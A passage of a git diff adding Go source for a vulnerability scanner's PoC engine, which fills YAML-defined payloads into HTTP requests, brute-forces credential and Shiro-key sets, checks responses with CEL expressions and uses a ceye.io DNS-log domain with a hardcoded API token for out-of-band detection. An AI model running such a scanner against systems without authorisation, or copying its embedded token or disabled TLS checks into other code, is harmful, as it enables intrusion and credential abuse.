+ "regexp"
+ "strings"
+ "sync"
+ "time"
+)
+
+var (
+ ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
+ ceyeDomain = "7wtusr.ceye.io"
+)
+
+type Task struct {
+ Req *http.Request
+ Poc *Poc
+}
+
+func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
+ tasks := make(chan Task)
+ var wg sync.WaitGroup
+ for i := 0; i < workers; i++ {
+ go func() {
+ for task := range tasks {
+ isVul, _, name := executePoc(task.Req, task.Poc)
+ if isVul {
+ fmt.Print(" ")
+ ret := fmt.Sprintf("└ PocScan, %s, %s, %s", task.Req.URL, task.Poc.Name, name)
+ ret1 := strings.Split(ret, ",")
+ color.StrRandomColor(ret1)
+ }
+ wg.Done()
+ }
+ }()
+ }
+ for _, poc := range pocs {
+ task := Task{
+ Req: req,
+ Poc: poc,
+ }
+ wg.Add(1)
+ tasks <- task
+ }
+ wg.Wait()
+ close(tasks)
+}
+
+func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
+ c := NewEnvOption()
+ c.UpdateCompileOptions(p.Set)
+ if len(p.Sets) > 0 {
+ var setMap StrMap
+ for _, item := range p.Sets {
+ if len(item.Value) > 0 {
+ setMap = append(setMap, StrItem{item.Key, item.Value[0]})
+ } else {
+ setMap = append(setMap, StrItem{item.Key, ""})
+ }
+ }
+ c.UpdateCompileOptions(setMap)
+ }
+ env, err := NewEnv(&c)
+ if err != nil {
+ fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err)
+ return false, err, ""
+ }
+ req, err := ParseRequest(oReq)
+ if err != nil {
+ fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err)
+ return false, err, ""
+ }
+ variableMap := make(map[string]interface{})
+ defer func() { variableMap = nil }()
+ variableMap["request"] = req
+ for _, item := range p.Set {
+ k, expression := item.Key, item.Value
+ if expression == "newReverse()" {
+ if !app.DnsLog {
+ return false, nil, ""
+ }
+ variableMap[k] = newReverse()
+ continue
+ }
+ err, _ = evalset(env, variableMap, k, expression)
+ if err != nil {
+ fmt.Printf("[-] %s evalset error: %v\n", p.Name, err)
+ }
+ }
+ success := false
+ //爆破模式,比如tomcat弱口令
+ if len(p.Sets) > 0 {
+ success, err = clusterpoc(oReq, p, variableMap, req, env)
+ return success, nil, ""
+ }
+
+ DealWithRule := func(rule Rules) (bool, error) {
+ Headers := cloneMap(rule.Headers)
+ var (
+ flag, ok bool
+ )
+ for k1, v1 := range variableMap {
+ _, isMap := v1.(map[string]string)
+ if isMap {
+ continue
+ }
+ value := fmt.Sprintf("%v", v1)
+ for k2, v2 := range Headers {
+ if !strings.Contains(v2, "{{"+k1+"}}") {
+ continue
+ }
+ Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
+ }
+ rule.Path = strings.ReplaceAll(rule.Path, "{{"+k1+"}}", value)
+ rule.Body = strings.ReplaceAll(rule.Body, "{{"+k1+"}}", value)
+ }
+
+ if oReq.URL.Path != "" && oReq.URL.Path != "/" {
+ req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
+ } else {
+ req.Url.Path = rule.Path
+ }
+ // 某些poc没有区分path和query,需要处理
+ req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
+ //req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
+
+ newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
+ if err != nil {
+ //fmt.Println("[-] newRequest error: ",err)
+ return false, err
+ }
+ newRequest.Header = oReq.Header.Clone()
+ for k, v := range Headers {
+ newRequest.Header.Set(k, v)
+ }
+ Headers = nil
+ resp, err := DoRequest(newRequest, rule.FollowRedirects)
+ newRequest = nil
+ if err != nil {
+ return false, err
+ }
+ variableMap["response"] = resp
+ // 先判断响应页面是否匹配search规则
+ if rule.Search != "" {
+ result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
+ if len(result) > 0 { // 正则匹配成功
+ for k, v := range result {
+ variableMap[k] = v
+ }
+ } else {
+ return false, nil
+ }
+ }
+ out, err := Evaluate(env, rule.Expression, variableMap)
+ if err != nil {
+ return false, err
+ }
+ //如果false不继续执行后续rule
+ // 如果最后一步执行失败,就算前面成功了最终依旧是失败
+ flag, ok = out.Value().(bool)
+ if !ok {
+ flag = false
+ }
+ return flag, nil
+ }
+
+ DealWithRules := func(rules []Rules) bool {
+ successFlag := false
+ for _, rule := range rules {
+ flag, err := DealWithRule(rule)
+ if err != nil || !flag { //如果false不继续执行后续rule
+ successFlag = false // 如果其中一步为flag,则直接break
+ break
+ }
+ successFlag = true
+ }
+ return successFlag
+ }
+
+ if len(p.Rules) > 0 {
+ success = DealWithRules(p.Rules)
+ } else {
+ for _, item := range p.Groups {
+ name, rules := item.Key, item.Value
+ success = DealWithRules(rules)
+ if success {
+ return success, nil, name
+ }
+ }
+ }
+
+ return success, nil, ""
+}
+
+func doSearch(re string, body string) map[string]string {
+ r, err := regexp.Compile(re)
+ if err != nil {
+ fmt.Println("[-] regexp.Compile error: ", err)
+ return nil
+ }
+ result := r.FindStringSubmatch(body)
+ names := r.SubexpNames()
+ if len(result) > 1 && len(names) > 1 {
+ paramsMap := make(map[string]string)
+ for i, name := range names {
+ if i > 0 && i <= len(result) {
+ if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") {
+ paramsMap[name] = optimizeCookies(result[i])
+ } else {
+ paramsMap[name] = result[i]
+ }
+ }
+ }
+ return paramsMap
+ }
+ return nil
+}
+
+func optimizeCookies(rawCookie string) (output string) {
+ // Parse the cookies
+ parsedCookie := strings.Split(rawCookie, "; ")
+ for _, c := range parsedCookie {
+ nameVal := strings.Split(c, "=")
+ if len(nameVal) >= 2 {
+ switch strings.ToLower(nameVal[0]) {
+ case "expires", "max-age", "path", "domain", "version", "comment", "secure", "samesite", "httponly":
+ continue
+ }
+ output += fmt.Sprintf("%s=%s; ", nameVal[0], strings.Join(nameVal[1:], "="))
+ }
+ }
+
+ return
+}
+
+func newReverse() *Reverse {
+ if !app.DnsLog {
+ return &Reverse{}
+ }
+ letters := "1234567890abcdefghijklmnopqrstuvwxyz"
+ randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
+ sub := RandomStr(randSource, letters, 8)
+ //if true {
+ // //默认不开启dns解析
+ // return &Reverse{}
+ //}
+ urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
+ u, _ := url.Parse(urlStr)
+ return &Reverse{
+ Url: urlStr,
+ Domain: u.Hostname(),
+ Ip: u.Host,
+ IsDomainNameServer: false,
+ }
+}
+
+func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
+ var strMap StrMap
+ var tmpnum int
+ for i, rule := range p.Rules {
+ if !isFuzz(rule, p.Sets) {
+ success, err = clustersend(oReq, variableMap, req, env, rule)
+ if err != nil {
+ return false, err
+ }
+ if success {
+ continue
+ } else {
+ return false, err
+ }
+ }
+ setsMap := Combo(p.Sets)
+ ruleHash := make(map[string]struct{})
+ look:
+ for j, item := range setsMap {
+ //shiro默认只跑10key
+ if p.Name == "poc-yaml-shiro-key" && !app.PocFull && j >= 10 {
+ if item[1] == "cbc" {
+ continue
+ } else {
+ if tmpnum == 0 {
+ tmpnum = j
+ }
+ if j-tmpnum >= 10 {
+ break
+ }
+ }
+ }
+ rule1 := cloneRules(rule)
+ var flag1 bool
+ var tmpMap StrMap
+ var payloads = make(map[string]interface{})
+ var tmpexpression string
+ for i, one := range p.Sets {
+ key, expression := one.Key, item[i]
+ if key == "payload" {
+ tmpexpression = expression
+ }
+ _, output := evalset1(env, variableMap, key, expression)
+ payloads[key] = output
+ }
+ for _, one := range p.Sets {
+ flag := false
+ key := one.Key
+ value := fmt.Sprintf("%v", payloads[key])
+ for k2, v2 := range rule1.Headers {
+ if strings.Contains(v2, "{{"+key+"}}") {
+ rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+key+"}}", value)
+ flag = true
+ }
+ }
+ if strings.Contains(rule1.Path, "{{"+key+"}}") {
+ rule1.Path = strings.ReplaceAll(rule1.Path, "{{"+key+"}}", value)
+ flag = true
+ }
+ if strings.Contains(rule1.Body, "{{"+key+"}}") {
+ rule1.Body = strings.ReplaceAll(rule1.Body, "{{"+key+"}}", value)
+ flag = true
+ }
+ if flag {
+ flag1 = true
+ if key == "payload" {
+ var flag2 bool
+ for k, v := range variableMap {
+ if strings.Contains(tmpexpression, k) {
+ flag2 = true
+ tmpMap = append(tmpMap, StrItem{k, fmt.Sprintf("%v", v)})
+ }
+ }
+ if flag2 {
+ continue
+ }
+ }
+ tmpMap = append(tmpMap, StrItem{key, value})
+ }
+ }
+ if !flag1 {
+ continue
+ }
+ has := md5.Sum([]byte(fmt.Sprintf("%v", rule1)))
+ md5str := fmt.Sprintf("%x", has)
+ if _, ok := ruleHash[md5str]; ok {
+ continue
+ }
+ ruleHash[md5str] = struct{}{}
+ success, err = clustersend(oReq, variableMap, req, env, rule1)
+ if err != nil {
+ return false, err
+ }
+ if success {
+ if rule.Continue {
+ if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
+ fmt.Print(" ")
+ ret := fmt.Sprintf("└ PocScan, %s://%s%s, %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)
+ ret1 := strings.Split(ret, ",")
+ color.StrRandomColor(ret1)
+ } else {
+ fmt.Print(" ")
+ ret := fmt.Sprintf("└ PocScan, %s://%s%s, %s, %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)
+ ret1 := strings.Split(ret, ",")
+ color.StrRandomColor(ret1)
+ }
+ continue
+ }
+ strMap = append(strMap, tmpMap...)
+ if i == len(p.Rules)-1 {
+ fmt.Print(" ")
+ ret := fmt.Sprintf("└ PocScan, %s://%s%s, %s, %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)
+ ret1 := strings.Split(ret, ",")
+ color.StrRandomColor(ret1)
+ //防止后续继续打印poc成功信息
+ return false, nil
+ }
+ break look
+ }
+ }
+ if !success {
+ break
+ }
+ if rule.Continue {
+ //防止后续继续打印poc成功信息
+ return false, nil
+ }
+ }
+ return success, nil
+}
+
+func isFuzz(rule Rules, Sets ListMap) bool {
+ for _, one := range Sets {
+ key := one.Key
+ for _, v := range rule.Headers {
+ if strings.Contains(v, "{{"+key+"}}") {
+ return true
+ }
+ }
+ if strings.Contains(rule.Path, "{{"+key+"}}") {
+ return true
+ }
+ if strings.Contains(rule.Body, "{{"+key+"}}") {
+ return true
+ }
+ }
+ return false
+}
+
+func Combo(input ListMap) (output [][]string) {
+ if len(input) > 1 {
+ output = Combo(input[1:])
+ output = MakeData(output, input[0].Value)
+ } else {
+ for _, i := range input[0].Value {
+ output = append(output, []string{i})
+ }
+ }
+ return
+}
+
+func MakeData(base [][]string, nextData []string) (output [][]string) {
+ for i := range base {
+ for _, j := range nextData {
+ output = append(output, append([]string{j}, base[i]...))
+ }
+ }
+ return
+}
+
+func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
+ for k1, v1 := range variableMap {
+ _, isMap := v1.(map[string]string)
+ if isMap {
+ continue
+ }
+ value := fmt.Sprintf("%v", v1)
+ for k2, v2 := range rule.Headers {
+ if strings.Contains(v2, "{{"+k1+"}}") {
+ rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
+ }
+ }
+ rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
+ rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
+ }
+ if oReq.URL.Path != "" && oReq.URL.Path != "/" {
+ req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
+ } else {
+ req.Url.Path = rule.Path
+ }
+ // 某些poc没有区分path和query,需要处理
+ req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
+ //req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
+ //
+ newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
+ if err != nil {
+ //fmt.Println("[-] newRequest error:",err)
+ return false, err
+ }
+ newRequest.Header = oReq.Header.Clone()
+ for k, v := range rule.Headers {
+ newRequest.Header.Set(k, v)
+ }
+ resp, err := DoRequest(newRequest, rule.FollowRedirects)
+ newRequest = nil
+ if err != nil {
+ return false, err
+ }
+ variableMap["response"] = resp
+ // 先判断响应页面是否匹配search规则
+ if rule.Search != "" {
+ result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
+ if result != nil && len(result) > 0 { // 正则匹配成功
+ for k, v := range result {
+ variableMap[k] = v
+ }
+ //return false, nil
+ } else {
+ return false, nil
+ }
+ }
+ out, err := Evaluate(env, rule.Expression, variableMap)
+ if err != nil {
+ if strings.Contains(err.Error(), "Syntax error") {
+ fmt.Println(rule.Expression, err)
+ }
+ return false, err
+ }
+ //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
+ if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
+ return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
+ }
+ return true, err
+}
+
+func cloneRules(tags Rules) Rules {
+ cloneTags := Rules{}
+ cloneTags.Method = tags.Method
+ cloneTags.Path = tags.Path
+ cloneTags.Body = tags.Body
+ cloneTags.Search = tags.Search
+ cloneTags.FollowRedirects = tags.FollowRedirects
+ cloneTags.Expression = tags.Expression
+ cloneTags.Headers = cloneMap(tags.Headers)
+ return cloneTags
+}
+
+func cloneMap(tags map[string]string) map[string]string {
+ cloneTags := make(map[string]string)
+ for k, v := range tags {
+ cloneTags[k] = v
+ }
+ return cloneTags
+}
+
+func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
+ out, err := Evaluate(env, expression, variableMap)
+ if err != nil {
+ variableMap[k] = expression
+ } else {
+ switch value := out.Value().(type) {
+ case *UrlType:
+ variableMap[k] = UrlTypeToString(value)
+ case int64:
+ variableMap[k] = int(value)
+ default:
+ variableMap[k] = fmt.Sprintf("%v", out)
+ }
+ }
+ return err, fmt.Sprintf("%v", variableMap[k])
+}
+
+func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
+ out, err := Evaluate(env, expression, variableMap)
+ if err != nil {
+ variableMap[k] = expression
+ } else {
+ variableMap[k] = fmt.Sprintf("%v", out)
+ }
+ return err, fmt.Sprintf("%v", variableMap[k])
+}
+
+func CheckInfoPoc(infostr string) string {
+ for _, poc := range info.PocDatas {
+ if strings.Contains(infostr, poc.Name) {
+ return poc.Alias
+ }
+ }
+ return ""
+}
+
+func GetHeader(header map[string]string) (output string) {
+ for name, values := range header {
+ line := fmt.Sprintf("%s: %s\n", name, values)
+ output = output + line
+ }
+ output = output + "\r\n"
+ return
+}
diff --git a/core/pocScan/lib/client.go b/core/pocScan/lib/client.go
new file mode 100644
index 0000000..55b0166
--- /dev/null
+++ b/core/pocScan/lib/client.go
@@ -0,0 +1,258 @@
+package lib
+
+import (
+ "KscanPro/app"
+ "context"
+ "crypto/tls"
+ "embed"
+ "errors"
+ "fmt"
+ "golang.org/x/net/proxy"
+ "gopkg.in/yaml.v2"
+ "io/ioutil"
+ "log"
+ "net"
+ "net/http"
+ "net/url"
+ "strings"
+ "time"
+)
+
+var (
+ Client *http.Client
+ ClientNoRedirect *http.Client
+ dialTimout = 5 * time.Second
+ keepAlive = 5 * time.Second
+)
+
+func Inithttp() {
+ //common.Proxy = "http://127.0.0.1:8080"
+ if app.PocNum == 0 {
+ app.PocNum = 20
+ }
+ err := InitHttpClient(app.PocNum, app.Proxy, time.Duration(app.WebTimeout)*time.Second)
+ if err != nil {
+ log.Fatal(err)
+ }
+}
+
+func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
+ type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
+ dialer := &net.Dialer{
+ Timeout: dialTimout,
+ KeepAlive: keepAlive,
+ }
+
+ tr := &http.Transport{
+ DialContext: dialer.DialContext,
+ MaxConnsPerHost: 5,
+ MaxIdleConns: 0,
+ MaxIdleConnsPerHost: ThreadsNum * 2,
+ IdleConnTimeout: keepAlive,
+ TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
+ TLSHandshakeTimeout: 5 * time.Second,
+ DisableKeepAlives: false,
+ }
+
+ if app.Socks5Proxy != "" {
+ dialSocksProxy, err := Socks5Dailer(dialer)
+ if err != nil {
+ return err
+ }
+ if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
+ tr.DialContext = contextDialer.DialContext
+ } else {
+ return errors.New("Failed type assertion to DialContext")
+ }
+ } else if DownProxy != "" {
+ if DownProxy == "1" {
+ DownProxy = "http://127.0.0.1:8080"
+ } else if DownProxy == "2" {
+ DownProxy = "socks5://127.0.0.1:1080"
+ } else if !strings.Contains(DownProxy, "://") {
+ DownProxy = "http://127.0.0.1:" + DownProxy
+ }
+ if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
+ return errors.New("no support this proxy")
+ }
+ u, err := url.Parse(DownProxy)
+ if err != nil {
+ return err
+ }
+ tr.Proxy = http.ProxyURL(u)
+ }
+
+ Client = &http.Client{
+ Transport: tr,
+ Timeout: Timeout,
+ }
+ ClientNoRedirect = &http.Client{
+ Transport: tr,
+ Timeout: Timeout,
+ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
+ }
+ return nil
+}
+
+type Poc struct {
+ Name string `yaml:"name"`
+ Set StrMap `yaml:"set"`
+ Sets ListMap `yaml:"sets"`
+ Rules []Rules `yaml:"rules"`
+ Groups RuleMap `yaml:"groups"`
+ Detail Detail `yaml:"detail"`
+}
+
+type MapSlice = yaml.MapSlice
+
+type StrMap []StrItem
+type ListMap []ListItem
+type RuleMap []RuleItem
+
+type StrItem struct {
+ Key, Value string
+}
+
+type ListItem struct {
+ Key string
+ Value []string
+}
+
+type RuleItem struct {
+ Key string
+ Value []Rules
+}
+
+func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
+ var tmp yaml.MapSlice
+ if err := unmarshal(&tmp); err != nil {
+ return err
+ }
+ for _, one := range tmp {
+ key, value := one.Key.(string), one.Value.(string)
+ *r = append(*r, StrItem{key, value})
+ }
+ return nil
+}
+
+//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error {
+// var tmp yaml.MapSlice
+// if err := unmarshal(&tmp); err != nil {
+// return err
+// }
+// //for _,one := range tmp{
+// // key,value := one.Key.(string),one.Value.(string)
+// // *r = append(*r,StrItem{key,value})
+// //}
+// return nil
+//}
+
+func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
+ var tmp1 yaml.MapSlice
+ if err := unmarshal(&tmp1); err != nil {
+ return err
+ }
+ var tmp = make(map[string][]Rules)
+ if err := unmarshal(&tmp); err != nil {
+ return err
+ }
+
+ for _, one := range tmp1 {
+ key := one.Key.(string)
+ value := tmp[key]
+ *r = append(*r, RuleItem{key, value})
+ }
+ return nil
+}
+
+func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
+ var tmp yaml.MapSlice
+ if err := unmarshal(&tmp); err != nil {
+ return err
+ }
+ for _, one := range tmp {
+ key := one.Key.(string)
+ var value []string
+ for _, val := range one.Value.([]interface{}) {
+ v := fmt.Sprintf("%v", val)
+ value = append(value, v)
+ }
+ *r = append(*r, ListItem{key, value})
+ }
+ return nil
+}
+
+type Rules struct {
+ Method string `yaml:"method"`
+ Path string `yaml:"path"`
+ Headers map[string]string `yaml:"headers"`
+ Body string `yaml:"body"`
+ Search string `yaml:"search"`
+ FollowRedirects bool `yaml:"follow_redirects"`
+ Expression string `yaml:"expression"`
+ Continue bool `yaml:"continue"`
+}
+
+type Detail struct {
+ Author string `yaml:"author"`
+ Links []string `yaml:"links"`
+ Description string `yaml:"description"`
+ Version string `yaml:"version"`
+}
+
+func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
+ var pocs []*Poc
+ for _, f := range SelectPoc(Pocs, pocname) {
+ if p, err := LoadPoc(f, Pocs); err == nil {
+ pocs = append(pocs, p)
+ } else {
+ fmt.Println("[-] load poc ", f, " error:", err)
+ }
+ }
+ return pocs
+}
+
+func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
+ p := &Poc{}
+ yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
+
+ if err != nil {
+ fmt.Printf("[-] load poc %s error1: %v\n", fileName, err)
+ return nil, err
+ }
+ err = yaml.Unmarshal(yamlFile, p)
+ if err != nil {
+ fmt.Printf("[-] load poc %s error2: %v\n", fileName, err)
+ return nil, err
+ }
+ return p, err
+}
+
+func SelectPoc(Pocs embed.FS, pocname string) []string {
+ entries, err := Pocs.ReadDir("pocs")
+ if err != nil {
+ fmt.Println(err)
+ }
+ var foundFiles []string
+ for _, entry := range entries {
+ if strings.Contains(entry.Name(), pocname) {
+ foundFiles = append(foundFiles, entry.Name())
+ }
+ }
+ return foundFiles
+}
+
+func LoadPocbyPath(fileName string) (*Poc, error) {
+ p := &Poc{}
+ data, err := ioutil.ReadFile(fileName)
+ if err != nil {
+ fmt.Printf("[-] load poc %s error3: %v\n", fileName, err)
+ return nil, err
+ }
+ err = yaml.Unmarshal(data, p)
+ if err != nil {
+ fmt.Printf("[-] load poc %s error4: %v\n", fileName, err)
+ return nil, err
+ }
+ return p, err
+}
diff --git a/core/pocScan/lib/eval.go b/core/pocScan/lib/eval.go
new file mode 100644
index 0000000..555c669
--- /dev/null
+++ b/core/pocScan/lib/eval.go
@@ -0,0 +1,697 @@
+package lib
+
+import (
+ "KscanPro/app"
+ "bytes"
+ "compress/gzip"
+ "crypto/md5"
+ "encoding/base64"
+ "encoding/hex"
+ "fmt"
+ "github.com/google/cel-go/cel"
+ "github.com/google/cel-go/checker/decls"
+ "github.com/google/cel-go/common/types"
+ "github.com/google/cel-go/common/types/ref"
+ "github.com/google/cel-go/interpreter/functions"
+ exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
+ "io"
+ "math/rand"
+ "net/http"
+ "net/url"
+ "regexp"
+ "strconv"
+ "strings"
+ "time"
+)
+
+func NewEnv(c *CustomLib) (*cel.Env, error) {
+ return cel.NewEnv(cel.Lib(c))
+}
+
+func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
+ if expression == "" {
+ return types.Bool(true), nil
+ }
+ ast, iss := env.Compile(expression)
+ if iss.Err() != nil {
+ //fmt.Printf("compile: ", iss.Err())
+ return nil, iss.Err()
+ }
+
+ prg, err := env.Program(ast)
+ if err != nil {
+ //fmt.Printf("Program creation error: %v", err)
+ return nil, err
+ }
+
+ out, _, err := prg.Eval(params)
+ if err != nil {
+ //fmt.Printf("Evaluation error: %v", err)
+ return nil, err
+ }
+ return out, nil
+}
+
+func UrlTypeToString(u *UrlType) string {
+ var buf strings.Builder
+ if u.Scheme != "" {
+ buf.WriteString(u.Scheme)
+ buf.WriteByte(':')
+ }
+ if u.Scheme != "" || u.Host != "" {
+ if u.Host != "" || u.Path != "" {
+ buf.WriteString("//")
+ }
+ if h := u.Host; h != "" {
+ buf.WriteString(u.Host)
+ }
+ }
+ path := u.Path
+ if path != "" && path[0] != '/' && u.Host != "" {
+ buf.WriteByte('/')
+ }
+ if buf.Len() == 0 {
+ if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
+ buf.WriteString("./")
+ }
+ }
+ buf.WriteString(path)
+
+ if u.Query != "" {
+ buf.WriteByte('?')
+ buf.WriteString(u.Query)
+ }
+ if u.Fragment != "" {
+ buf.WriteByte('#')
+ buf.WriteString(u.Fragment)
+ }
+ return buf.String()
+}
+
+type CustomLib struct {
+ envOptions []cel.EnvOption
+ programOptions []cel.ProgramOption
+}
+
+func NewEnvOption() CustomLib {
+ c := CustomLib{}
+
+ c.envOptions = []cel.EnvOption{
+ cel.Container("lib"),
+ cel.Types(
+ &UrlType{},
+ &Request{},
+ &Response{},
+ &Reverse{},
+ ),
+ cel.Declarations(
+ decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
+ decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
+ decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
+ ),
+ cel.Declarations(
+ // functions
+ decls.NewFunction("bcontains",
+ decls.NewInstanceOverload("bytes_bcontains_bytes",
+ []*exprpb.Type{decls.Bytes, decls.Bytes},
+ decls.Bool)),
+ decls.NewFunction("bmatches",
+ decls.NewInstanceOverload("string_bmatches_bytes",
+ []*exprpb.Type{decls.String, decls.Bytes},
+ decls.Bool)),
+ decls.NewFunction("md5",
+ decls.NewOverload("md5_string",
+ []*exprpb.Type{decls.String},
+ decls.String)),
+ decls.NewFunction("randomInt",
+ decls.NewOverload("randomInt_int_int",
+ []*exprpb.Type{decls.Int, decls.Int},
+ decls.Int)),
+ decls.NewFunction("randomLowercase",
+ decls.NewOverload("randomLowercase_int",
+ []*exprpb.Type{decls.Int},
+ decls.String)),
+ decls.NewFunction("randomUppercase",
+ decls.NewOverload("randomUppercase_int",
+ []*exprpb.Type{decls.Int},
+ decls.String)),
+ decls.NewFunction("randomString",
+ decls.NewOverload("randomString_int",
+ []*exprpb.Type{decls.Int},
+ decls.String)),
+ decls.NewFunction("base64",
+ decls.NewOverload("base64_string",
+ []*exprpb.Type{decls.String},
+ decls.String)),
+ decls.NewFunction("base64",
+ decls.NewOverload("base64_bytes",
+ []*exprpb.Type{decls.Bytes},
+ decls.String)),
+ decls.NewFunction("base64Decode",
+ decls.NewOverload("base64Decode_string",
+ []*exprpb.Type{decls.String},
+ decls.String)),
+ decls.NewFunction("base64Decode",
+ decls.NewOverload("base64Decode_bytes",
+ []*exprpb.Type{decls.Bytes},
+ decls.String)),
+ decls.NewFunction("urlencode",
+ decls.NewOverload("urlencode_string",
+ []*exprpb.Type{decls.String},
+ decls.String)),
+ decls.NewFunction("urlencode",
+ decls.NewOverload("urlencode_bytes",
+ []*exprpb.Type{decls.Bytes},
+ decls.String)),
+ decls.NewFunction("urldecode",
+ decls.NewOverload("urldecode_string",
+ []*exprpb.Type{decls.String},
+ decls.String)),
+ decls.NewFunction("urldecode",
+ decls.NewOverload("urldecode_bytes",
+ []*exprpb.Type{decls.Bytes},
+ decls.String)),
+ decls.NewFunction("substr",
+ decls.NewOverload("substr_string_int_int",
+ []*exprpb.Type{decls.String, decls.Int, decls.Int},
+ decls.String)),
+ decls.NewFunction("wait",
+ decls.NewInstanceOverload("reverse_wait_int",
+ []*exprpb.Type{decls.Any, decls.Int},
+ decls.Bool)),
+ decls.NewFunction("icontains",
+ decls.NewInstanceOverload("icontains_string",
+ []*exprpb.Type{decls.String, decls.String},
+ decls.Bool)),
+ decls.NewFunction("TDdate",
+ decls.NewOverload("tongda_date",
+ []*exprpb.Type{},
+ decls.String)),
+ decls.NewFunction("shirokey",
+ decls.NewOverload("shiro_key",
+ []*exprpb.Type{decls.String, decls.String},
+ decls.String)),
+ decls.NewFunction("startsWith",
+ decls.NewInstanceOverload("startsWith_bytes",
+ []*exprpb.Type{decls.Bytes, decls.Bytes},
+ decls.Bool)),
+ decls.NewFunction("istartsWith",
+ decls.NewInstanceOverload("startsWith_string",
+ []*exprpb.Type{decls.String, decls.String},
+ decls.Bool)),
+ decls.NewFunction("hexdecode",
+ decls.NewInstanceOverload("hexdecode",
+ []*exprpb.Type{decls.String},
+ decls.Bytes)),
+ ),
+ }
+ c.programOptions = []cel.ProgramOption{
+ cel.Functions(
+ &functions.Overload{
+ Operator: "bytes_bcontains_bytes",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ v1, ok := lhs.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
+ }
+ v2, ok := rhs.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
+ }
+ return types.Bool(bytes.Contains(v1, v2))
+ },
+ },
+ &functions.Overload{
+ Operator: "string_bmatches_bytes",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ v1, ok := lhs.(types.String)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
+ }
+ v2, ok := rhs.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
+ }
+ ok, err := regexp.Match(string(v1), v2)
+ if err != nil {
+ return types.NewErr("%v", err)
+ }
+ return types.Bool(ok)
+ },
+ },
+ &functions.Overload{
+ Operator: "md5_string",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.String)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
+ }
+ return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
+ },
+ },
+ &functions.Overload{
+ Operator: "randomInt_int_int",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ from, ok := lhs.(types.Int)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
+ }
+ to, ok := rhs.(types.Int)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
+ }
+ min, max := int(from), int(to)
+ return types.Int(rand.Intn(max-min) + min)
